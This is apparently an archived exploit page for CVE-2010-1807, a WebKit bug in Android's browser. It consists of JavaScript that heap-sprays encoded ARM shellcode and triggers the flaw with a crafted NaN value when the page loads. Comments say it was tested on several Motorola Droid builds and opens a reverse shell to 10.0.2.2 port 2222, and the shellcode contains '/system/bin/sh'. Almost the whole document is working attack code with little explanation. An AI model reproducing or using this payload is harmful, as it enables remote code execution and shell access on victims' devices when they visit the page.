Vulmon
<html>
<head>
<script>
// bug = webkit code execution CVE-2010-1807 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1807
// listed as a safari bug but also works on android :)
//tested = moto droid 2.0.1 , moto droid 2.1 , emulater 2.0 - 2.1
//patched= android 2.2
//author = mj
// hardcoded to return a shell to 10.0.2.2 port 2222
//
function sploit(pop)
{
var span = document.createElement("div");
document.getElementById("pwn").appendChild(span);
span.innerHTML = pop;
}
function heap()
{
var scode = unescape("\u3c84057\u3c80057\u3c7c057\u3c78057\u3c74057\u3c70057\u3c6c057\u3c68057\u3c64057\u3c60057\u3c5c057\u3c58057\u3c54057\u3c50057\u3c4c057\u3c48057\u3c44057\u3c40057\u3c3c057\u3c38057\u3c34057\u3c30057\u3c2c057\u3c28057\u3c24057\u3c20057\u3c1c057\u3c18057\u3c14057\u3c10057\u3c0c057\u3c08057\u3c04057\u3bfc057\u3bfc057\u3bf8057\u3bf4057\u3bf0057\u3bec057\u3be8057\u3be4057\u3be0057\u3bdc057\u3bd8057\u3bd4057\u3bd0057\u3bcc057\u3bc8057\u3bc4057\u3bc0057\u3bbc057\u3bb8057\u3bb4057\u3bb0057\u3bac057\u3ba8057\u3ba4057\u3ba0057\u3b9c057\u3b98057\u3b94057\u3b90057\u3b8c057\u3b88057\u3b84057\u3b80057\u3b7c057\u3b78057\u3b74057\u3b70057\u3b6c057\u3b68057\u3b64057\u3b60057\u3b5c057\u3b58057\u3b54057\u3b50057\u3b4c057\u3b48057\u3b44057\u3b40057\u3b3c057\u3b38057\u3b34057\u3b30057\u3b2c057\u3b28057\u3b24057\u3b20057\u3b1c057\u3b18057\u3b14057\u3b10057\u3b0c057\u3b08057\u3b04057\u3afc057\u3afc057\u3af8057\u3af4057\u3af0057\u3aec057\u3ae8057\u3ae4057\u3ae0057\u3adc057\u3ad8057\u3ad4057\u3ad0057\u3acc057\u3ac8057\u3ac4057\u3ac0057\u3abc057\u3ab8057\u3ab4057\u3ab0057\u3aac057\u3aa8057\u3aa4057\u3aa0057\u3a9c057\u3a98057\u3a94057\u3a90057\u3a8c057\u3a88057\u3a84057\u3a80057\u3a7c057\u3a78057\u3a74057\u3a70057\u3a6c057\u3a68057\u3a64057\u3a60057\u3a5c057\u3a58057\u3a54057\u3a50057\u3a4c057\u3a48057\u3a44057\u3a40057\u3a3c057\u3a38057\u3a34057\u3a30057\u3a2c057\u3a28057\u3a24057\u3a20057\u3a1c057\u3a18057\u3a14057\u3a10057\u3a0c057\u3a08057\u3a04057\u39fc057\u39fc057\u39f8057\u39f4057\u39f0057\u39ec057\u39e8057\u39e4057\u39e0057\u39dc057\u39d8057\u39d4057\u39d0057\u39cc057\u39c8057\u39c4057\u39c0057\u39bc057\u39b8057\u39b4057\u39b0057\u39ac057\u39a8057\u39a4057\u39a0057\u399c057\u3998057\u3994057\u3990057\u398c057\u3988057\u3984057\u3980057\u397c057\u3978057\u3974057\u3970057\u396c057\u3968057\u3964057\u3960057\u395c057\u3958057\u3954057\u3950057\u394c057\u3948057\u3944057\u3940057\u393c057\u3938057\u3934057\u3930057\u392c057\u3928057\u3924057\u3920057\u391c057\u3918057\u3914057\u3910057\u390c057\u3908057\u3904057\u38fc057\u38fc057\u38f8057\u38f4057\u38f0057\u38ec057\u38e8057\u38e4057\u38e0057\u38dc057\u38d8057\u38d4057\u38d0057\u38cc057\u38c8057\u38c4057\u38c0057\u38bc057\u38b8057\u38b4057\u38b0057\u38ac057\u38a8057\u38a4057\u38a0057\u389c057\u3898057\u3894057\u3890057\u388c057\u3888057\u3884057\u3880057\u387c057\u3878057\u3874057\u3870057\u386c057\u3868057\u3864057\u3860057\u385c057\u3858057\u3854057\u3850057\u384c057\u3848057\u3844057\u3840057\u383c057\u3838057\u3834057\u3830057\u382c057\u3828057\u3824057\u3820057\u381c057\u3818057\u3814057\u3810057\u380c057\u3808057\u3804057\u37fc057\u37fc057\u37f8057\u37f4057\u37f0057\u37ec057\u37e8057\u37e4057\u37e0057\u37dc057\u37d8057\u37d4057\u37d0057\u37cc057\u37c8057\u37c4057\u37c0057\u37bc057\u37b8057\u37b4057\u37b0057\u37ac057\u37a8057\u37a4057\u37a0057\u379c057\u3798057\u3794057\u3790057\u378c057\u3788057\u3784057\u3780057\u377c057\u3778057\u3774057\u3770057\u376c057\u3768057\u3764057\u3760057\u375c057\u3758057\u3754057\u3750057\u374c057\u3748057\u3744057\u3740057\u373c057\u3738057\u3734057\u3730057\u372c057\u3728057\u3724057\u3720057\u371c057\u3718057\u3714057\u3710057\u370c057\u3708057\u3704057\u36fc057\u36fc057\u36f8057\u36f4057\u36f0057\u36ec057\u36e8057\u36e4057\u36e0057\u36dc057\u36d8057\u36d4057\u36d0057\u36cc057\u36c8057\u36c4057\u36c0057\u36bc057\u36b8057\u36b4057\u36b0057\u36ac057\u36a8057\u36a4057\u36a0057\u369c057\u3698057\u3694057\u3690057\u368c057\u3688057\u3684057\u3680057\u367c057\u3678057\u3674057\u3670057\u366c057\u3668057\u3664057\u3660057\u365c057\u3658057\u3654057\u3650057\u364c057\u3648057\u3644057\u3640057\u363c057\u3638057\u3634057\u3630057\u362c057\u3628057\u3624057\u3620057\u361c057\u3618057\u3614057\u3610057\u360c057\u3608057\u3604057\u35fc057\u35fc057\u35f8057\u35f4057\u35f0057\u35ec057\u35e8057\u35e4057\u35e0057\u35dc057\u35d8057\u35d4057\u35d0057\u35cc057\u35c8057\u35c4057\u35c0057\u35bc057\u35b8057\u35b4057\u35b0057\u35ac057\u35a8057\u35a4057\u35a0057\u359c057\u3598057\u3594057\u3590057\u358c057\u3588057\u3584057\u3580057\u357c057\u3578057\u3574057\u3570057\u356c057\u3568057\u3564057\u3560057\u355c057\u3558057\u3554057\u3550057\u354c057\u3548057\u3544057\u3540057\u353c057\u3538057\u3534057\u3530057\u352c057\u3528057\u3524057\u3520057\u351c057\u3518057\u3514057\u3510057\u350c057\u3508057\u3504057\u34fc057\u34fc057\u34f8057\u34f4057\u34f0057\u34ec057\u34e8057\u34e4057\u34e0057\u34dc057\u34d8057\u34d4057\u34d0057\u34cc057\u34c8057\u34c4057\u34c0057\u34bc057\u34b8057\u34b4057\u34b0057\u34ac057\u34a8057\u34a4057\u34a0057\u349c057\u3498057\u3494057\u3490057\u348c057\u3488057\u3484057\u3480057\u347c057\u3478057\u3474057\u3470057\u346c057\u3468057\u3464057\u3460057\u345c057\u3458057\u3454057\u3450057\u344c057\u3448057\u3444057\u3440057\u343c057\u3438057\u3434057\u3430057\u342c057\u3428057\u3424057\u3420057\u341c057\u3418057\u3414057\u3410057\u340c057\u3408057\u3404057\u33fc057\u33fc057\u33f8057\u33f4057\u33f0057\u33ec057\u33e8057\u33e4057\u33e0057\u33dc057\u33d8057\u33d4057\u33d0057\u33cc057\u33c8057\u33c4057\u33c0057\u33bc057\u33b8057\u33b4057\u33b0057\u33ac057\u33a8057\u33a4057\u33a0057\u339c057\u3398057\u3394057\u3390057\u338c057\u3388057\u3384057\u3380057\u337c057\u3378057\u3374057\u3370057\u336c057\u3368057\u3364057\u3360057\u335c057\u3358057\u3354057\u3350057\u334c057\u3348057\u3344057\u3340057\u333c057\u3338057\u3334057\u3330057\u332c057\u3328057\u3324057\u3320057\u331c057\u3318057\u3314057\u3310057\u330c057\u3308057\u3304057\u32fc057\u32fc057\u32f8057\u32f4057\u32f0057\u32ec057\u32e8057\u32e4057\u32e0057\u32dc057\u32d8057\u32d4057\u32d0057\u32cc057\u32c8057\u32c4057\u32c0057\u32bc057\u32b8057\u32b4057\u32b0057\u32ac057\u32a8057\u32a4057\u32a0057\u329c057\u3298057\u3294057\u3290057\u328c057\u3288057\u3284057\u3280057\u327c057\u3278057\u3274057\u3270057\u326c057\u3268057\u3264057\u3260057\u325c057\u3258057\u3254057\u3250057\u324c057\u3248057\u3244057\u3240057\u323c057\u3238057\u3234057\u3230057\u322c057\u3228057\u3224057\u3220057\u321c057\u3218057\u3214057\u3210057\u320c057\u3208057\u3204057\u31fc057\u31fc057\u31f8057\u31f4057\u31f0057\u31ec057\u31e8057\u31e4057\u31e0057\u31dc057\u31d8057\u31d4057\u31d0057\u31cc057\u31c8057\u31c4057\u31c0057\u31bc057\u31b8057\u31b4057\u31b0057\u31ac057\u31a8057\u31a4057\u31a0057\u319c057\u3198057\u3194057\u3190057\u318c057\u3188057\u3184057\u3180057\u317c057\u3178057\u3174057\u3170057\u316c057\u3168057\u3164057\u3160057\u315c057\u3158057\u3154057\u3150057\u314c057\u3148057\u3144057\u3140057\u313c057\u3138057\u3134057\u3130057\u312c057\u3128057\u3124057\u3120057\u311c057\u3118057\u3114057\u3110057\u310c057\u3108057\u3104057\u30fc057\u30fc057\u30f8057\u30f4057\u30f0057\u30ec057\u30e8057\u30e4057\u30e0057\u30dc057\u30d8057\u30d4057\u30d0057\u30cc057\u30c8057\u30c4057\u30c0057\u30bc057\u30b8057\u30b4057\u30b0057\u30ac057\u30a8057\u30a4057\u30a0057\u309c057\u3098057\u3094057\u3090057\u308c057\u3088057\u3084057\u3080057\u307c057\u3078057\u3074057\u3070057\u306c057\u3068057\u3064057\u3060057\u305c057\u3058057\u3054057\u3050057\u304c057\u3048057\u3044057\u3040057\u303c057\u3038057\u3034057\u3030057\u302c057\u3028057\u3024057\u3020057\u301c057\u3018057\u3014057\u3010057\u300c057\u3008057\u3004057\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0\u1001\ue1a0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287080\uef00006\ue1a0\u1000\ue3a0\u703f\ue3a0080\uef00006\ue1a0\u1001\ue3a0\u703f\ue3a0080\uef00006\ue1a0\u1002\ue3a0\u703f\ue3a0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000002\uae0800a202\u2000\u2000")
do {
scode += scode;
} while(scode.length < 0x1000);
target = new Array();
for(i = 0; i < 1000; i++)
target[i] = scode;
for (i = 0; i <= 1000; i++)
{
if (i>999)
{
sploit(-parseFloat("NAN(ffffe00572c60)"));
}
document.write("The targets!! " + target[i]);
document.write("<br />");
}
}
</script>
</head>
<body id="pwn">
woot
<script>
heap();
</script>
</body>
</html>